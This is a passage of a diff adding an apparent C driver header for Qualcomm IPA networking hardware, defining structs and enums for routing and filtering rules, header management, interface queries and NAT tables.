+        IPA_RM_RESOURCE_ODU_ADAPT_PROD,
+        IPA_RM_RESOURCE_MHI_PROD,
+        IPA_RM_RESOURCE_PROD_MAX,
+
+        IPA_RM_RESOURCE_Q6_CONS = IPA_RM_RESOURCE_PROD_MAX,
+        IPA_RM_RESOURCE_USB_CONS,
+        IPA_RM_RESOURCE_USB_DPL_CONS,
+        IPA_RM_RESOURCE_HSIC_CONS,
+        IPA_RM_RESOURCE_WLAN_CONS,
+        IPA_RM_RESOURCE_APPS_CONS,
+        IPA_RM_RESOURCE_ODU_ADAPT_CONS,
+        IPA_RM_RESOURCE_MHI_CONS,
+        IPA_RM_RESOURCE_MAX
+};
+
+/**
+ * enum ipa_hw_type - IPA hardware version type
+ * @IPA_HW_None: IPA hardware version not defined
+ * @IPA_HW_v1_0: IPA hardware version 1.0
+ * @IPA_HW_v1_1: IPA hardware version 1.1
+ * @IPA_HW_v2_0: IPA hardware version 2.0
+ * @IPA_HW_v2_1: IPA hardware version 2.1
+ * @IPA_HW_v2_5: IPA hardware version 2.5
+ * @IPA_HW_v2_6: IPA hardware version 2.6
+ * @IPA_HW_v2_6L: IPA hardware version 2.6L
+ * @IPA_HW_v3_0: IPA hardware version 3.0
+ */
+enum ipa_hw_type {
+        IPA_HW_None = 0,
+        IPA_HW_v1_0 = 1,
+        IPA_HW_v1_1 = 2,
+        IPA_HW_v2_0 = 3,
+        IPA_HW_v2_1 = 4,
+        IPA_HW_v2_5 = 5,
+        IPA_HW_v2_6 = IPA_HW_v2_5,
+        IPA_HW_v2_6L = 6,
+        IPA_HW_v3_0 = 10,
+        IPA_HW_v3_1 = 11,
+        IPA_HW_MAX
+};
+
+/**
+ * struct ipa_rule_attrib - attributes of a routing/filtering
+ * rule, all in LE
+ * @attrib_mask: what attributes are valid
+ * @src_port_lo: low port of src port range
+ * @src_port_hi: high port of src port range
+ * @dst_port_lo: low port of dst port range
+ * @dst_port_hi: high port of dst port range
+ * @type: ICMP/IGMP type
+ * @code: ICMP/IGMP code
+ * @spi: IPSec SPI
+ * @src_port: exact src port
+ * @dst_port: exact dst port
+ * @meta_data: meta-data val
+ * @meta_data_mask: meta-data mask
+ * @u.v4.tos: type of service
+ * @u.v4.protocol: protocol
+ * @u.v4.src_addr: src address value
+ * @u.v4.src_addr_mask: src address mask
+ * @u.v4.dst_addr: dst address value
+ * @u.v4.dst_addr_mask: dst address mask
+ * @u.v6.tc: traffic class
+ * @u.v6.flow_label: flow label
+ * @u.v6.next_hdr: next header
+ * @u.v6.src_addr: src address val
+ * @u.v6.src_addr_mask: src address mask
+ * @u.v6.dst_addr: dst address val
+ * @u.v6.dst_addr_mask: dst address mask
+ */
+struct ipa_rule_attrib {
+        uint32_t attrib_mask;
+        uint16_t src_port_lo;
+        uint16_t src_port_hi;
+        uint16_t dst_port_lo;
+        uint16_t dst_port_hi;
+        uint8_t type;
+        uint8_t code;
+        uint8_t tos_value;
+        uint8_t tos_mask;
+        uint32_t spi;
+        uint16_t src_port;
+        uint16_t dst_port;
+        uint32_t meta_data;
+        uint32_t meta_data_mask;
+        uint8_t src_mac_addr[ETH_ALEN];
+        uint8_t src_mac_addr_mask[ETH_ALEN];
+        uint8_t dst_mac_addr[ETH_ALEN];
+        uint8_t dst_mac_addr_mask[ETH_ALEN];
+        uint16_t ether_type;
+        union {
+                struct {
+                        uint8_t tos;
+                        uint8_t protocol;
+                        uint32_t src_addr;
+                        uint32_t src_addr_mask;
+                        uint32_t dst_addr;
+                        uint32_t dst_addr_mask;
+                } v4;
+                struct {
+                        uint8_t tc;
+                        uint32_t flow_label;
+                        uint8_t next_hdr;
+                        uint32_t src_addr[4];
+                        uint32_t src_addr_mask[4];
+                        uint32_t dst_addr[4];
+                        uint32_t dst_addr_mask[4];
+                } v6;
+        } u;
+};
+
+/*! @brief The maximum number of Mask Equal 32 Eqns */
+#define IPA_IPFLTR_NUM_MEQ_32_EQNS 2
+
+/*! @brief The maximum number of IHL offset Mask Equal 32 Eqns */
+#define IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS 2
+
+/*! @brief The maximum number of Mask Equal 128 Eqns */
+#define IPA_IPFLTR_NUM_MEQ_128_EQNS 2
+
+/*! @brief The maximum number of IHL offset Range Check 16 Eqns */
+#define IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS 2
+
+/*! @brief Offset and 16 bit comparison equation */
+struct ipa_ipfltr_eq_16 {
+        int8_t offset;
+        uint16_t value;
+};
+
+/*! @brief Offset and 32 bit comparison equation */
+struct ipa_ipfltr_eq_32 {
+        int8_t offset;
+        uint32_t value;
+};
+
+/*! @brief Offset and 128 bit masked comparison equation */
+struct ipa_ipfltr_mask_eq_128 {
+        int8_t offset;
+        uint8_t mask[16];
+        uint8_t value[16];
+};
+
+/*! @brief Offset and 32 bit masked comparison equation */
+struct ipa_ipfltr_mask_eq_32 {
+        int8_t offset;
+        uint32_t mask;
+        uint32_t value;
+};
+
+/*! @brief Equation for identifying a range. Ranges are inclusive */
+struct ipa_ipfltr_range_eq_16 {
+        int8_t offset;
+        uint16_t range_low;
+        uint16_t range_high;
+};
+
+/*! @brief Rule equations which are set according to DS filter installation */
+struct ipa_ipfltri_rule_eq {
+        /*! 16-bit Bitmask to indicate how many eqs are valid in this rule  */
+        uint16_t rule_eq_bitmap;
+        /*! Specifies if a type of service check rule is present */
+        uint8_t tos_eq_present;
+        /*! The value to check against the type of service (ipv4) field */
+        uint8_t tos_eq;
+        /*! Specifies if a protocol check rule is present */
+        uint8_t protocol_eq_present;
+        /*! The value to check against the protocol (ipv6) field */
+        uint8_t protocol_eq;
+        /*! The number of ip header length offset 16 bit range check
+         * rules in this rule */
+        uint8_t num_ihl_offset_range_16;
+        /*! An array of the registered ip header length offset 16 bit
+         * range check rules */
+        struct ipa_ipfltr_range_eq_16
+                ihl_offset_range_16[IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS];
+        /*! The number of mask equal 32 rules present in this rule */
+        uint8_t num_offset_meq_32;
+        /*! An array of all the possible mask equal 32 rules in this rule */
+        struct ipa_ipfltr_mask_eq_32
+                offset_meq_32[IPA_IPFLTR_NUM_MEQ_32_EQNS];
+        /*! Specifies if the traffic class rule is present in this rule */
+        uint8_t tc_eq_present;
+        /*! The value to check the traffic class (ipv4) field against */
+        uint8_t tc_eq;
+        /*! Specifies if the flow equals rule is present in this rule */
+        uint8_t fl_eq_present;
+        /*! The value to check the flow (ipv6) field against */
+        uint32_t fl_eq;
+        /*! The number of ip header length offset 16 bit equations in this
+         * rule */
+        uint8_t ihl_offset_eq_16_present;
+        /*! The ip header length offset 16 bit equation */
+        struct ipa_ipfltr_eq_16 ihl_offset_eq_16;
+        /*! The number of ip header length offset 32 bit equations in this
+         * rule */
+        uint8_t ihl_offset_eq_32_present;
+        /*! The ip header length offset 32 bit equation */
+        struct ipa_ipfltr_eq_32 ihl_offset_eq_32;
+        /*! The number of ip header length offset 32 bit mask equations in
+         * this rule */
+        uint8_t num_ihl_offset_meq_32;
+        /*! The ip header length offset 32 bit mask equation */
+        struct ipa_ipfltr_mask_eq_32
+                ihl_offset_meq_32[IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS];
+        /*! The number of ip header length offset 128 bit equations in this
+         * rule */
+        uint8_t num_offset_meq_128;
+        /*! The ip header length offset 128 bit equation */
+        struct ipa_ipfltr_mask_eq_128
+                offset_meq_128[IPA_IPFLTR_NUM_MEQ_128_EQNS];
+        /*! The metadata 32 bit masked comparison equation present or not */
+        /* Metadata based rules are added internally by IPA driver */
+        uint8_t metadata_meq32_present;
+        /*! The metadata 32 bit masked comparison equation */
+        struct ipa_ipfltr_mask_eq_32 metadata_meq32;
+        /*! Specifies if the Fragment equation is present in this rule */
+        uint8_t ipv4_frag_eq_present;
+};
+
+/**
+ * struct ipa_flt_rule - attributes of a filtering rule
+ * @retain_hdr: bool switch to instruct IPA core to add back to the packet
+ *  the header removed as part of header removal
+ * @to_uc: bool switch to pass packet to micro-controller
+ * @action: action field
+ * @rt_tbl_hdl: handle of table from "get"
+ * @attrib: attributes of the rule
+ * @eq_attrib: attributes of the rule in equation form (valid when
+ * eq_attrib_type is true)
+ * @rt_tbl_idx: index of RT table referred to by filter rule (valid when
+ * eq_attrib_type is true and non-exception action)
+ * @eq_attrib_type: true if equation level form used to specify attributes
+ * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
+ *  IPA will use the rule and will not look for other rules that may have
+ *  higher priority
+ * @hashable: bool switch. is this rule hashable or not?
+ *  ipa uses hashable rules to cache their hit results to be used in
+ *  consecutive packets
+ * @rule_id: rule_id to be assigned to the filter rule. In case client specifies
+ *  rule_id as 0 the driver will assign a new rule_id
+ */
+struct ipa_flt_rule {
+        uint8_t retain_hdr;
+        uint8_t to_uc;
+        enum ipa_flt_action action;
+        uint32_t rt_tbl_hdl;
+        struct ipa_rule_attrib attrib;
+        struct ipa_ipfltri_rule_eq eq_attrib;
+        uint32_t rt_tbl_idx;
+        uint8_t eq_attrib_type;
+        uint8_t max_prio;
+        uint8_t hashable;
+        uint16_t rule_id;
+};
+
+/**
+ * enum ipa_hdr_l2_type - L2 header type
+ * IPA_HDR_L2_NONE: L2 header which isn't Ethernet II and isn't 802_3
+ * IPA_HDR_L2_ETHERNET_II: L2 header of type Ethernet II
+ * IPA_HDR_L2_802_3: L2 header of type 802_3
+ */
+enum ipa_hdr_l2_type {
+        IPA_HDR_L2_NONE,
+        IPA_HDR_L2_ETHERNET_II,
+        IPA_HDR_L2_802_3,
+        IPA_HDR_L2_MAX,
+};
+
+/**
+ * enum ipa_hdr_l2_type - Processing context type
+ * IPA_HDR_PROC_NONE: No processing context
+ * IPA_HDR_PROC_ETHII_TO_ETHII: Process Ethernet II to Ethernet II
+ * IPA_HDR_PROC_ETHII_TO_802_3: Process Ethernet II to 802_3
+ * IPA_HDR_PROC_802_3_TO_ETHII: Process 802_3 to Ethernet II
+ * IPA_HDR_PROC_802_3_TO_802_3: Process 802_3 to 802_3
+ */
+enum ipa_hdr_proc_type {
+        IPA_HDR_PROC_NONE,
+        IPA_HDR_PROC_ETHII_TO_ETHII,
+        IPA_HDR_PROC_ETHII_TO_802_3,
+        IPA_HDR_PROC_802_3_TO_ETHII,
+        IPA_HDR_PROC_802_3_TO_802_3,
+        IPA_HDR_PROC_MAX,
+};
+
+/**
+ * struct ipa_rt_rule - attributes of a routing rule
+ * @dst: dst "client"
+ * @hdr_hdl: handle to the dynamic header
+        it is not an index or an offset
+ * @hdr_proc_ctx_hdl: handle to header processing context. if it is provided
+        hdr_hdl shall be 0
+ * @attrib: attributes of the rule
+ * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
+ *  IPA will use the rule and will not look for other rules that may have
+ *  higher priority
+ * @hashable: bool switch. is this rule hashable or not?
+ *  ipa uses hashable rules to cache their hit results to be used in
+ *  consecutive packets
+ * @retain_hdr: bool switch to instruct IPA core to add back to the packet
+ *  the header removed as part of header removal
+ */
+struct ipa_rt_rule {
+        enum ipa_client_type dst;
+        uint32_t hdr_hdl;
+        uint32_t hdr_proc_ctx_hdl;
+        struct ipa_rule_attrib attrib;
+        uint8_t max_prio;
+        uint8_t hashable;
+        uint8_t retain_hdr;
+};
+
+/**
+ * struct ipa_hdr_add - header descriptor includes in and out
+ * parameters
+ * @name: name of the header
+ * @hdr: actual header to be inserted
+ * @hdr_len: size of above header
+ * @type: l2 header type
+ * @is_partial: header not fully specified
+ * @hdr_hdl: out parameter, handle to header, valid when status is 0
+ * @status:        out parameter, status of header add operation,
+ *                0 for success,
+ *                -1 for failure
+ * @is_eth2_ofst_valid: is eth2_ofst field valid?
+ * @eth2_ofst: offset to start of Ethernet-II/802.3 header
+ */
+struct ipa_hdr_add {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint8_t hdr[IPA_HDR_MAX_SIZE];
+        uint8_t hdr_len;
+        enum ipa_hdr_l2_type type;
+        uint8_t is_partial;
+        uint32_t hdr_hdl;
+        int status;
+        uint8_t is_eth2_ofst_valid;
+        uint16_t eth2_ofst;
+};
+
+/**
+ * struct ipa_ioc_add_hdr - header addition parameters (support
+ * multiple headers and commit)
+ * @commit: should headers be written to IPA HW also?
+ * @num_hdrs: num of headers that follow
+ * @ipa_hdr_add hdr:        all headers need to go here back to
+ *                        back, no pointers
+ */
+struct ipa_ioc_add_hdr {
+        uint8_t commit;
+        uint8_t num_hdrs;
+        struct ipa_hdr_add hdr[0];
+};
+
+/**
+ * struct ipa_hdr_proc_ctx_add - processing context descriptor includes
+ * in and out parameters
+ * @type: processing context type
+ * @hdr_hdl: in parameter, handle to header
+ * @proc_ctx_hdl: out parameter, handle to proc_ctx, valid when status is 0
+ * @status:        out parameter, status of header add operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_hdr_proc_ctx_add {
+        enum ipa_hdr_proc_type type;
+        uint32_t hdr_hdl;
+        uint32_t proc_ctx_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_add_hdr - processing context addition parameters (support
+ * multiple processing context and commit)
+ * @commit: should processing context be written to IPA HW also?
+ * @num_proc_ctxs: num of processing context that follow
+ * @proc_ctx:        all processing context need to go here back to
+ *                        back, no pointers
+ */
+struct ipa_ioc_add_hdr_proc_ctx {
+        uint8_t commit;
+        uint8_t num_proc_ctxs;
+        struct ipa_hdr_proc_ctx_add proc_ctx[0];
+};
+
+/**
+ * struct ipa_ioc_copy_hdr - retrieve a copy of the specified
+ * header - caller can then derive the complete header
+ * @name: name of the header resource
+ * @hdr:        out parameter, contents of specified header,
+ *        valid only when ioctl return val is non-negative
+ * @hdr_len: out parameter, size of above header
+ *        valid only when ioctl return val is non-negative
+ * @type: l2 header type
+ *        valid only when ioctl return val is non-negative
+ * @is_partial:        out parameter, indicates whether specified header is partial
+ *                valid only when ioctl return val is non-negative
+ * @is_eth2_ofst_valid: is eth2_ofst field valid?
+ * @eth2_ofst: offset to start of Ethernet-II/802.3 header
+ */
+struct ipa_ioc_copy_hdr {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint8_t hdr[IPA_HDR_MAX_SIZE];
+        uint8_t hdr_len;
+        enum ipa_hdr_l2_type type;
+        uint8_t is_partial;
+        uint8_t is_eth2_ofst_valid;
+        uint16_t eth2_ofst;
+};
+
+/**
+ * struct ipa_ioc_get_hdr - header entry lookup parameters, if lookup was
+ * successful caller must call put to release the reference count when done
+ * @name: name of the header resource
+ * @hdl:        out parameter, handle of header entry
+ *                valid only when ioctl return val is non-negative
+ */
+struct ipa_ioc_get_hdr {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t hdl;
+};
+
+/**
+ * struct ipa_hdr_del - header descriptor includes in and out
+ * parameters
+ *
+ * @hdl: handle returned from header add operation
+ * @status:        out parameter, status of header remove operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_hdr_del {
+        uint32_t hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_del_hdr - header deletion parameters (support
+ * multiple headers and commit)
+ * @commit: should headers be removed from IPA HW also?
+ * @num_hdls: num of headers being removed
+ * @ipa_hdr_del hdl: all handles need to go here back to back, no pointers
+ */
+struct ipa_ioc_del_hdr {
+        uint8_t commit;
+        uint8_t num_hdls;
+        struct ipa_hdr_del hdl[0];
+};
+
+/**
+ * struct ipa_hdr_proc_ctx_del - processing context descriptor includes
+ * in and out parameters
+ * @hdl: handle returned from processing context add operation
+ * @status:        out parameter, status of header remove operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_hdr_proc_ctx_del {
+        uint32_t hdl;
+        int status;
+};
+
+/**
+ * ipa_ioc_del_hdr_proc_ctx - processing context deletion parameters (support
+ * multiple headers and commit)
+ * @commit: should processing contexts be removed from IPA HW also?
+ * @num_hdls: num of processing contexts being removed
+ * @ipa_hdr_proc_ctx_del hdl:        all handles need to go here back to back,
+  *                                no pointers
+ */
+struct ipa_ioc_del_hdr_proc_ctx {
+        uint8_t commit;
+        uint8_t num_hdls;
+        struct ipa_hdr_proc_ctx_del hdl[0];
+};
+
+/**
+ * struct ipa_rt_rule_add - routing rule descriptor includes in
+ * and out parameters
+ * @rule: actual rule to be added
+ * @at_rear:        add at back of routing table, it is NOT possible to add rules at
+ *                the rear of the "default" routing tables
+ * @rt_rule_hdl: output parameter, handle to rule, valid when status is 0
+ * @status:        output parameter, status of routing rule add operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_rt_rule_add {
+        struct ipa_rt_rule rule;
+        uint8_t at_rear;
+        uint32_t rt_rule_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_add_rt_rule - routing rule addition parameters (supports
+ * multiple rules and commit);
+ *
+ * all rules MUST be added to same table
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @rt_tbl_name: name of routing table resource
+ * @num_rules: number of routing rules that follow
+ * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
+ */
+struct ipa_ioc_add_rt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
+        uint8_t num_rules;
+        struct ipa_rt_rule_add rules[0];
+};
+
+/**
+ * struct ipa_ioc_add_rt_rule_after - routing rule addition after a specific
+ * rule parameters(supports multiple rules and commit);
+ *
+ * all rules MUST be added to same table
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @rt_tbl_name: name of routing table resource
+ * @num_rules: number of routing rules that follow
+ * @add_after_hdl: the rules will be added after this specific rule
+ * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
+ *                           at_rear field will be ignored when using this IOCTL
+ */
+struct ipa_ioc_add_rt_rule_after {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
+        uint8_t num_rules;
+        uint32_t add_after_hdl;
+        struct ipa_rt_rule_add rules[0];
+};
+
+/**
+ * struct ipa_rt_rule_mdfy - routing rule descriptor includes
+ * in and out parameters
+ * @rule: actual rule to be added
+ * @rt_rule_hdl: handle to rule which supposed to modify
+ * @status:        output parameter, status of routing rule modify  operation,
+ *                0 for success,
+ *                -1 for failure
+ *
+ */
+struct ipa_rt_rule_mdfy {
+        struct ipa_rt_rule rule;
+        uint32_t rt_rule_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_mdfy_rt_rule - routing rule modify parameters (supports
+ * multiple rules and commit)
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @num_rules: number of routing rules that follow
+ * @rules: all rules need to go back to back here, no pointers
+ */
+struct ipa_ioc_mdfy_rt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        uint8_t num_rules;
+        struct ipa_rt_rule_mdfy rules[0];
+};
+
+/**
+ * struct ipa_rt_rule_del - routing rule descriptor includes in
+ * and out parameters
+ * @hdl: handle returned from route rule add operation
+ * @status:        output parameter, status of route rule delete operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_rt_rule_del {
+        uint32_t hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_del_rt_rule - routing rule deletion parameters (supports
+ * multiple headers and commit)
+ * @commit: should rules be removed from IPA HW also?
+ * @ip: IP family of rules
+ * @num_hdls: num of rules being removed
+ * @ipa_rt_rule_del hdl: all handles need to go back to back here, no pointers
+ */
+struct ipa_ioc_del_rt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        uint8_t num_hdls;
+        struct ipa_rt_rule_del hdl[0];
+};
+
+/**
+ * struct ipa_ioc_get_rt_tbl_indx - routing table index lookup parameters
+ * @ip: IP family of table
+ * @name: name of routing table resource
+ * @index:        output parameter, routing table index, valid only when ioctl
+ *                return val is non-negative
+ */
+struct ipa_ioc_get_rt_tbl_indx {
+        enum ipa_ip_type ip;
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t idx;
+};
+
+/**
+ * struct ipa_flt_rule_add - filtering rule descriptor includes
+ * in and out parameters
+ * @rule: actual rule to be added
+ * @at_rear: add at back of filtering table?
+ * @flt_rule_hdl: out parameter, handle to rule, valid when status is 0
+ * @status:        output parameter, status of filtering rule add   operation,
+ *                0 for success,
+ *                -1 for failure
+ *
+ */
+struct ipa_flt_rule_add {
+        struct ipa_flt_rule rule;
+        uint8_t at_rear;
+        uint32_t flt_rule_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_add_flt_rule - filtering rule addition parameters (supports
+ * multiple rules and commit)
+ * all rules MUST be added to same table
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @ep:        which "clients" pipe does this rule apply to?
+ *        valid only when global is 0
+ * @global: does this apply to global filter table of specific IP family
+ * @num_rules: number of filtering rules that follow
+ * @rules: all rules need to go back to back here, no pointers
+ */
+struct ipa_ioc_add_flt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        enum ipa_client_type ep;
+        uint8_t global;
+        uint8_t num_rules;
+        struct ipa_flt_rule_add rules[0];
+};
+
+/**
+ * struct ipa_ioc_add_flt_rule_after - filtering rule addition after specific
+ * rule parameters (supports multiple rules and commit)
+ * all rules MUST be added to same table
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @ep:        which "clients" pipe does this rule apply to?
+ * @num_rules: number of filtering rules that follow
+ * @add_after_hdl: rules will be added after the rule with this handle
+ * @rules: all rules need to go back to back here, no pointers. at rear field
+ *           is ignored when using this IOCTL
+ */
+struct ipa_ioc_add_flt_rule_after {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        enum ipa_client_type ep;
+        uint8_t num_rules;
+        uint32_t add_after_hdl;
+        struct ipa_flt_rule_add rules[0];
+};
+
+/**
+ * struct ipa_flt_rule_mdfy - filtering rule descriptor includes
+ * in and out parameters
+ * @rule: actual rule to be added
+ * @flt_rule_hdl: handle to rule
+ * @status:        output parameter, status of filtering rule modify  operation,
+ *                0 for success,
+ *                -1 for failure
+ *
+ */
+struct ipa_flt_rule_mdfy {
+        struct ipa_flt_rule rule;
+        uint32_t rule_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_mdfy_flt_rule - filtering rule modify parameters (supports
+ * multiple rules and commit)
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @num_rules: number of filtering rules that follow
+ * @rules: all rules need to go back to back here, no pointers
+ */
+struct ipa_ioc_mdfy_flt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        uint8_t num_rules;
+        struct ipa_flt_rule_mdfy rules[0];
+};
+
+/**
+ * struct ipa_flt_rule_del - filtering rule descriptor includes
+ * in and out parameters
+ *
+ * @hdl: handle returned from filtering rule add operation
+ * @status:        output parameter, status of filtering rule delete operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_flt_rule_del {
+        uint32_t hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_del_flt_rule - filtering rule deletion parameters (supports
+ * multiple headers and commit)
+ * @commit: should rules be removed from IPA HW also?
+ * @ip: IP family of rules
+ * @num_hdls: num of rules being removed
+ * @hdl: all handles need to go back to back here, no pointers
+ */
+struct ipa_ioc_del_flt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        uint8_t num_hdls;
+        struct ipa_flt_rule_del hdl[0];
+};
+
+/**
+ * struct ipa_ioc_get_rt_tbl - routing table lookup parameters, if lookup was
+ * successful caller must call put to release the reference
+ * count when done
+ * @ip: IP family of table
+ * @name: name of routing table resource
+ * @htl:        output parameter, handle of routing table, valid only when ioctl
+ *                return val is non-negative
+ */
+struct ipa_ioc_get_rt_tbl {
+        enum ipa_ip_type ip;
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t hdl;
+};
+
+/**
+ * struct ipa_ioc_query_intf - used to lookup number of tx and
+ * rx properties of interface
+ * @name: name of interface
+ * @num_tx_props:        output parameter, number of tx properties
+ *                        valid only when ioctl return val is non-negative
+ * @num_rx_props:        output parameter, number of rx properties
+ *                        valid only when ioctl return val is non-negative
+ * @num_ext_props:        output parameter, number of ext properties
+ *                        valid only when ioctl return val is non-negative
+ * @excp_pipe:                exception packets of this interface should be
+ *                        routed to this pipe
+ */
+struct ipa_ioc_query_intf {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_tx_props;
+        uint32_t num_rx_props;
+        uint32_t num_ext_props;
+        enum ipa_client_type excp_pipe;
+};
+
+/**
+ * struct ipa_ioc_tx_intf_prop - interface tx property
+ * @ip: IP family of routing rule
+ * @attrib: routing rule
+ * @dst_pipe: routing output pipe
+ * @alt_dst_pipe: alternate routing output pipe
+ * @hdr_name: name of associated header if any, empty string when no header
+ * @hdr_l2_type: type of associated header if any, use NONE when no header
+ */
+struct ipa_ioc_tx_intf_prop {
+        enum ipa_ip_type ip;
+        struct ipa_rule_attrib attrib;
+        enum ipa_client_type dst_pipe;
+        enum ipa_client_type alt_dst_pipe;
+        char hdr_name[IPA_RESOURCE_NAME_MAX];
+        enum ipa_hdr_l2_type hdr_l2_type;
+};
+
+/**
+ * struct ipa_ioc_query_intf_tx_props - interface tx propertie
+ * @name: name of interface
+ * @num_tx_props: number of TX properties
+ * @tx[0]: output parameter, the tx properties go here back to back
+ */
+struct ipa_ioc_query_intf_tx_props {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_tx_props;
+        struct ipa_ioc_tx_intf_prop tx[0];
+};
+
+/**
+ * struct ipa_ioc_ext_intf_prop - interface extended property
+ * @ip: IP family of routing rule
+ * @eq_attrib: attributes of the rule in equation form
+ * @action: action field
+ * @rt_tbl_idx: index of RT table referred to by filter rule
+ * @mux_id: MUX_ID
+ * @filter_hdl: handle of filter (as specified by provider of filter rule)
+ * @is_xlat_rule: it is xlat flt rule or not
+ */
+struct ipa_ioc_ext_intf_prop {
+        enum ipa_ip_type ip;
+        struct ipa_ipfltri_rule_eq eq_attrib;
+        enum ipa_flt_action action;
+        uint32_t rt_tbl_idx;
+        uint8_t mux_id;
+        uint32_t filter_hdl;
+        uint8_t is_xlat_rule;
+        uint32_t rule_id;
+        uint8_t is_rule_hashable;
+};
+
+/**
+ * struct ipa_ioc_query_intf_ext_props - interface ext propertie
+ * @name: name of interface
+ * @num_ext_props: number of EXT properties
+ * @ext[0]: output parameter, the ext properties go here back to back
+ */
+struct ipa_ioc_query_intf_ext_props {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_ext_props;
+        struct ipa_ioc_ext_intf_prop ext[0];
+};
+
+/**
+ * struct ipa_ioc_rx_intf_prop - interface rx property
+ * @ip: IP family of filtering rule
+ * @attrib: filtering rule
+ * @src_pipe: input pipe
+ * @hdr_l2_type: type of associated header if any, use NONE when no header
+ */
+struct ipa_ioc_rx_intf_prop {
+        enum ipa_ip_type ip;
+        struct ipa_rule_attrib attrib;
+        enum ipa_client_type src_pipe;
+        enum ipa_hdr_l2_type hdr_l2_type;
+};
+
+/**
+ * struct ipa_ioc_query_intf_rx_props - interface rx propertie
+ * @name: name of interface
+ * @num_rx_props: number of RX properties
+ * @rx: output parameter, the rx properties go here back to back
+ */
+struct ipa_ioc_query_intf_rx_props {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_rx_props;
+        struct ipa_ioc_rx_intf_prop rx[0];
+};
+
+/**
+ * struct ipa_ioc_nat_alloc_mem - nat table memory allocation
+ * properties
+ * @dev_name: input parameter, the name of table
+ * @size: input parameter, size of table in bytes
+ * @offset: output parameter, offset into page in case of system memory
+ */
+struct ipa_ioc_nat_alloc_mem {
+        char dev_name[IPA_RESOURCE_NAME_MAX];
+        size_t size;
+        off_t offset;
+};
+
+/**
+ * struct ipa_ioc_v4_nat_init - nat table initialization
+ * parameters
+ * @tbl_index: input parameter, index of the table
+ * @ipv4_rules_offset: input parameter, ipv4 rules address offset
+ * @expn_rules_offset: input parameter, ipv4 expansion rules address offset
+ * @index_offset: input parameter, index rules offset
+ * @index_expn_offset: input parameter, index expansion rules offset
+ * @table_entries: input parameter, ipv4 rules table size in entries
+ * @expn_table_entries: input parameter, ipv4 expansion rules table size
+ * @ip_addr: input parameter, public ip address
+ */
+struct ipa_ioc_v4_nat_init {
+        uint8_t tbl_index;
+        uint32_t ipv4_rules_offset;
+        uint32_t expn_rules_offset;
+
+        uint32_t index_offset;
+        uint32_t index_expn_offset;
+
+        uint16_t table_entries;
+        uint16_t expn_table_entries;
+        uint32_t ip_addr;
+};
+
+/**
+ * struct ipa_ioc_v4_nat_del - nat table delete parameter
+ * @table_index: input parameter, index of the table
+ * @public_ip_addr: input parameter, public ip address
+ */
+struct ipa_ioc_v4_nat_del {
+        uint8_t table_index;
+        uint32_t public_ip_addr;
+};
+
+/**
+ * struct ipa_ioc_nat_dma_one - nat dma command parameter
+ * @table_index: input parameter, index of the table
+ * @base_addr:        type of table, from which the base address of the table
+ *                can be inferred
+ * @offset: destination offset within the NAT table
+ * @data: data to be written.
+ */
+struct ipa_ioc_nat_dma_one {
+        uint8_t table_index;
+        uint8_t base_addr;
+
+        uint32_t offset;
+        uint16_t data;
+
+};
+
+/**
+ * struct ipa_ioc_nat_dma_cmd - To hold multiple nat dma commands
+ * @entries: number of dma commands in use
+ * @dma: data pointer to the dma commands
+ */
+struct ipa_ioc_nat_dma_cmd {
+        uint8_t entries;
+        struct ipa_ioc_nat_dma_one dma[0];
+
+};
+
+/**
+ * struct ipa_msg_meta - Format of the message meta-data.
+ * @msg_type: the type of the message
+ * @rsvd: reserved bits for future use.
+ * @msg_len: the length of the message in bytes
+ *
+ * For push model:
+ * Client in user-space should issue a read on the device (/dev/ipa) with a
+ * sufficiently large buffer in a continuous loop, call will block when there is
+ * no message to read. Upon return, client can read the ipa_msg_meta from start
